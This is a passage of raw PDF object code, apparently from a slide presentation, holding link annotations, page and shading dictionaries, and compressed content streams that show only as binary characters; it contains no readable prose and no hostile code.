0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 573 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 574 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 575 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 576 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 577 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 578 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 579 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 580 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 581 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 582 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 583 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 584 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 585 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 586 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 587 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 588 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 182.753 -0.996 291.642 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 589 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F66 559 0 R /F14 592 0 R /F63 525 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm16 494 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm17 495 0 R /Fm18 561 0 R /Fm19 562 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 590 0 obj << /Type /Page /Contents 591 0 R /Resources 589 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 491 0 R /Annots [ 563 0 R 564 0 R 565 0 R 566 0 R 567 0 R 568 0 R 569 0 R 570 0 R 571 0 R 572 0 R 573 0 R 574 0 R 575 0 R 576 0 R 577 0 R 578 0 R 579 0 R 580 0 R 581 0 R 582 0 R 583 0 R 584 0 R 585 0 R 586 0 R 587 0 R 588 0 R ] /AA << /O << /S /GoTo /D [ 631 0 R /Fit ] >> >> >> endobj 591 0 obj << /Length 2926 /Filter /FlateDecode >>stream xkoFK#Bz_G~q)eqaIff\RFi YV\xqzWW;BjQYYˆ ],ѽs؂UK*VXnpβ39#V)MUKWp]))NC4E̡Ć;!#g8/tua+U4wNbT0$VB; ) Hu+LjN{чPcőc9gEH"Ȫ*F[:n 3ˆzI9Q&]JJ f]R1fa"+9r1#Cr,Dg KغGd8I y Ow 5 $ aa -%Wfo牜<炏-#5/VQM<@gl.^_<棓q ގKF lr hp݆?rOBK>)(k,EoL$2NrP % R-7f 5 Z~u..@mvkA. K0~J[yc%:)' M5 )'8!!ll\*#FW Xa T䬫PV/o.-2h9.҉{HyVتT%Fh=B.RʀS)b4Yq g!"o&5Nk\^OOW2Ԡu8=]V&H~TwJNʡe``6t8Ί=úR-XaPwxnpJCzS r-3%LLXXA ᲉmTOܽȕ KisA G22.3ίv HHCH:(ȔR W wEU"MiBA2`(E0n \JY^9u *w|':挥Q{x ^\-'r{r\!,T0y!̇0z;.y|4HNOczcFn'[)k[i#Cc~ "D6wWsiK$!{phe>scf*Adr1-$<SLUPQ@\t8(a< r8[aB VӒeLBʣ7BŦG&i*d{tI ~Ã`) +0CFӮIͱ]unޯ^vI\~ "Fw̐6mh;l`؁,e]2^K.D)G^m >y~׌&N9MKC Vtrp:$45b!ef1DD 5:4u}Ec9ƷHcKhW,^JއuU!sꠈ *)[Ge)E_HɌz $l;nR\r_$WT"(vԓJp@NSh8\=ZK2{smpϝ9tgA-pܘźji‹ۭ2krŌN=5uf mར껉+`Ӏ<ߎ{4)Jx5)2yqv+12$!s[\6G>v$t`"ZXp+uyxǕкĢCJ]2 kלbM tq!\;3k@9ļWbw z${/b}^/̾^K&TQS޷k{ ]PdX&VćΏhN`KD8} Oh묅>G;_PGn?R:.+` i?,Օ4:_'P1~f1Zm? Tȡ8x8{B;p4q endstream endobj 592 0 obj << /Type /Font /Subtype /Type1 /BaseFont /VXSPEQ+CMSY10 /FontDescriptor 1277 0 R /FirstChar 20 /LastChar 106 /Widths 1246 0 R >> endobj 593 0 obj << /D [ 590 0 R /XYZ 334.488 1.245 null ] >> endobj 594 0 obj << /Shading << /Sh << /ShadingType 2 /ColorSpace /DeviceRGB /Domain [ 0 3.9851 ] /Coords [ 0 0 0 3.9851 ] /Function << /FunctionType 3 /Domain [ 0 3.9851 ] /Functions [ << /FunctionType 2 /Domain [ 0 3.9851 ] /C0 [ 0.8125 0.90625 0.8125 ] /C1 [ 0.8125 0.90625 0.8125 ] /N 1 >> << /FunctionType 2 /Domain [ 0 3.9851 ] /C0 [ 0.8125 0.90625 0.8125 ] /C1 [ 0.25 0.625 0.25 ] /N 1 >> ] /Bounds [ 1.99255 ] /Encode [ 0 1 0 1 ] >> /Extend [ false false ] >> >> /ProcSet [ /PDF ] >> endobj 595 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [ 0 2.34438 ] /Coords [ 1.52634 3.34418 0 2.34438 2.34438 2.34438 ] /Function << /FunctionType 3 /Domain [ 0 2.34438 ] /Functions [ << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.85 0.925 0.85 ] /C1 [ 0.25 0.625 0.25 ] /N 1 >> << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.25 0.625 0.25 ] /C1 [ 0 0.35 0 ] /N 1 >> << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0 0.35 0 ] /C1 [ 0 0.25 0 ] /N 1 >> << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0 0.25 0 ] /C1 [ 0.8125 0.90625 0.8125 ] /N 1 >> ] /Bounds [ 0.72711 1.45424 1.99962 ] /Encode [ 0 1 0 1 0 1 0 1 ] >> /Extend [ true false ] >> >> /ProcSet [ /PDF ] >> endobj 596 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 173.47 167.034 185.473 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 597 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 147.129 151.749 158.574 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 598 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 122.163 101.969 131.675 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 599 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 49.467 110.207 109.959 119.024 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 600 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 49.467 96.32 182.187 107.069 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 601 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 69.42 253.638 80.865 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 602 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 603 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 604 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 605 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 606 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 607 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 608 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 609 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 610 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 611 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 612 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 613 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 614 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 615 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 616 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 617 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 618 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 619 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 620 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 621 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 622 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 623 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 624 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 625 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 626 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 627 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 628 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 629 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 630 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F53 154 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm15 244 0 R /Fm8 169 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 631 0 obj << /Type /Page /Contents 632 0 R /Resources 630 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 491 0 R /Annots [ 602 0 R 603 0 R 604 0 R 605 0 R 606 0 R 607 0 R 608 0 R 609 0 R 610 0 R 611 0 R 612 0 R 613 0 R 614 0 R 615 0 R 616 0 R 617 0 R 618 0 R 619 0 R 620 0 R 621 0 R 622 0 R 623 0 R 624 0 R 625 0 R 626 0 R 627 0 R 628 0 R 596 0 R 597 0 R 598 0 R 599 0 R 600 0 R 601 0 R 629 0 R ] /AA << /O << /S /GoTo /D [ 673 0 R /Fit ] >> >> >> endobj 632 0 obj << /Length 1972 /Filter /FlateDecode >>stream xZKs#E W4pp솂&R''[GR?fMbK-[V$'$ĥP|ZFZb1oMz[! %#cm ؽM*pg(mNQ` +Ujp) Ն1A:xi5ynt-X*y:T6FD6w`,a+2):%>DRP pd&NGV4]Ҙ8RgSJQq]u)LAd &Akg6]4%b!ԝRI߀V@Htj*%>u%_ *wي;O?J2D,"G{'i]{ʉ ͔%j2iQm5CN=بh]0{[謒Ic%ئH}WLEcw '87~Qת+zI >t;.hނhiKfTi+uN$44XU8'T/U}AbVrԔg<(FM#';9Ay`ɶqEz6Izmȹ'{T܎r8Lcs{z9XǸeaߜkX">Ey#8_F?y;4EE\잾w]ڿ*&7!ϸ)WSp/ p;J_x?2w,&ۓ/X/l|sHs!g[ %&ܾEUQanV(gwB1⷇x  Z&$-f?9kh7ů6ѯʨ"tF؃\LxͼLh4焗`Ŝ빾E|T^@,XȘ6*P>ԅnD2N NL^Wcx2;r.WxxG84j4{[|5>+ wNƷ0 B!1qxkJ{(At5X3Clئ\P8k6~3f as'sDez ؓpj׌+ 5cRuB9jNw F&4Zq;Z`>sZ4RDmAO>^jV7Tq v5~?T N^.fy?LɃ6#_(DDPLsN2xE ZeP>XD_8+]G16hv."wqrd#m ?aF-E0ژ.渇IHGCH,m9}T$O o)6a}|+wg !`*02'g A<\spI$}ͧc̴sp-ʎq\0>qm_cMXA}Ƴ)YNW" ǂ4HokA?f ] ,$}'rM}klJQr\,-o0ߊ]6tZ|#MNC W`Mc͞!gd8C‡oB_o% %/ /%vu71?U>"ǝӵ|\=#/m]b;YjETQu.{]_.hˡS>_tD_q鹫$S>tJu\oi+?Ek2 =fYe9`Ki|[k3^F /K endstream endobj 633 0 obj << /D [ 631 0 R /XYZ 334.488 1.245 null ] >> endobj 634 0 obj << /D [ 673 0 R /XYZ 334.488 1.245 null ] >> endobj 635 0 obj << /D [ 954 0 R /XYZ 334.488 1.245 null ] >> endobj 636 0 obj << /D [ 850 0 R /XYZ 334.488 1.245 null ] >> endobj 637 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 173.47 167.034 185.473 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 638 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 147.129 151.749 158.574 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 639 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 122.163 101.969 131.675 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 640 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 49.467 110.207 109.959 119.024 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 641 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 4.689 4.689 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 676 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 642 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 49.467 96.32 182.187 107.069 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 643 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 69.42 253.638 80.865 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 644 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 645 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 646 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 647 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation13) >> >> endobj 648 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 649 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 650 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 651 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation13) >> >> endobj 652 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 653 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 654 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 655 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 656 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 657 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 658 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 659 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 660 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 661 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 662 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 663 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 664 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 665 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 666 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 667 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 668 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 669 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 670 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 671 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 672 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F53 154 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm15 244 0 R /Fm8 169 0 R /Fm20 641 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 673 0 obj << /Type /Page /Contents 674 0 R /Resources 672 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 491 0 R /Annots [ 644 0 R 645 0 R 646 0 R 647 0 R 648 0 R 649 0 R 650 0 R 651 0 R 652 0 R 653 0 R 654 0 R 655 0 R 656 0 R 657 0 R 658 0 R 659 0 R 660 0 R 661 0 R 662 0 R 663 0 R 664 0 R 665 0 R 666 0 R 667 0 R 668 0 R 669 0 R 670 0 R 637 0 R 638 0 R 639 0 R 640 0 R 642 0 R 643 0 R 671 0 R ] /AA << /O << /S /GoTo /D [ 709 0 R /Fit ] >> >> >> endobj 674 0 obj << /Length 1978 /Filter /FlateDecode >>stream xZ]s[EϯXn~/w@潠If.R I8&L䜳/IH+(q-H߀(a8XѫI)ABX|6vo:v \JgST./:sJ\ HaL$^Z b2?:qċ!]K&Jquw&9u̓88Kl LN)h(O*р$cA@:sqfEe% E|f}4&TٔRs\(oEc÷A){yuPbõ|3A`jԐN$o@y+H]OC$T:5MҊh=oϺģ  jtgGJ[Oȵ*Π>%w"X]|NHRoUhOnNBn;lŝ>HO[Q^|>^< 8{Ф|d$8 1XDNz)5t;.hނhiKfTi+uN$44XU8'T/U}AbVrԔg<(FM#';9Ay`ٮqEz6Izmȹ'{T܍=r8Lcs{z9XǸea]jX"Ey#_G?y94GE쑾w[ڿ).7!x)7SpOϦ p;J_xeXL;:'_dO".CB/v5-K}KܬQ"ﶃc?U^jV7T8 ?v'~~RSZ]~R9m$ǎhEqA1~|'T}?@ p$hAu CkSᬌv",bl\D#LsƿA~[9 {ًLi1]p-L-YrH o)aC|'wg !`%0:'gDA<\sp }rcsq+ʎq\0!qmߌcMX}}ƳΉYNW" ǂ4HokA3FOndb=X Y'6 7Zm6xZP  ,"dr7tdiyT IY(79'y-b?,]si(C΢zW;"hHfQ{Blx(Se+&[۲S1V [\+)lչˋlscZ#͠h|ܩY<]bymK >Y HTfAm~{~_/ho˱SV_t'Dp+RtNŇܜŹ+O+d:zK{V-8 +1^g!`: endstream endobj 675 0 obj << /D [ 673 0 R /XYZ 334.488 1.245 null ] >> endobj 676 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [ 0 2.34438 ] /Coords [ 1.52634 3.34418 0 2.34438 2.34438 2.34438 ] /Function << /FunctionType 3 /Domain [ 0 2.34438 ] /Functions [ << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.97047 0.9707 0.97894 ] /C1 [ 0.85236 0.85353 0.89471 ] /N 1 >> << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.85236 0.85353 0.89471 ] /C1 [ 0.8022 0.8033 0.84172 ] /N 1 >> << /FunctionType 2 /Domain 